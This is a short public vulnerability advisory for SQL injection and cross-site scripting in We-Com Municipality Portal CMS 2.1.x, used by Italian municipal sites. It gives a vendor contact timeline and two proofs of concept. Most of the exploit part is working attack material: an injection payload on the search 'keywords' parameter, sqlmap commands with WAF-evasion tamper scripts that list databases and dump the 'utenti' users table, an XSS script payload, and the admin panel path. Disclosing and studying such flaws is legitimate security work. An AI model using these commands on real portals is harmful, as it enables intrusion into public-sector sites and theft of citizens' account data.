

We-Com Municipality Portal CMS 2.1.x Cross Site Scripting / SQL Injection

2020-06-03 / 2020-06-02

Credit: [thelastvvv \(https://cxsecurity.com/author/thelastvvv/1/\)](https://cxsecurity.com/author/thelastvvv/1/)

Risk: **Medium**

Local: **No**

Remote: **Yes**

CVE: **N/A**

CWE: **CWE-89 (https://cxsecurity.com/cwe/CWE-89)**
CWE-79 (https://cxsecurity.com/cwe/CWE-79)

```
# Exploit Title: We-com Municipality portal CMS SQL Injection & XSS Vulnerability
# Google Dork:N/A
# Date: 2020-04-17
# Exploit Author: @TheLastVvV
# Vendor Homepage: https://www.we-com.it/
# Version: 2.1.x
# Tested on: 5.5.0-kali1-amd64
```

Vendor contact timeline:

```
2020-05-05: Contacting vendor through info@we-com.it
2020-05-26: A Patch is published in the versions
2020-06-01: Release of security advisory
```

PoC 1:

The attacker once locate the sql vulnerability in the "keywords" parameter of the portal search bar then the attacker will be able to perform an automated process to exploit the security of Italian Municipality portal CMS

Payload(s)

```
http://www.site.it/cerca/
POST Data: keywords='1'--
```

SQLMAP Payload(s):

```
sqlmap -u https://www.comune.site.it/cerca/ --data "keywords=" --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs
```

```
sqlmap -u https://www.comune.site.it/cerca/ --data "keywords=" --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" -D **_db --tables
```

```
sqlmap -u https://www.comune.site.it/cerca/ --data "keywords=" --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dump -D **_db -T utenti
```

PoC 2 :

XSS Vulnerability

Payload(s) :

```
http://www.site.com/cerca/
in the search bar:
'"<script>alert(1)</script>"
```

Admin panel:

www.site.it/admin/

See this note in RAW Version (<https://cxsecurity.com/ascii/WLB-2020060011>)

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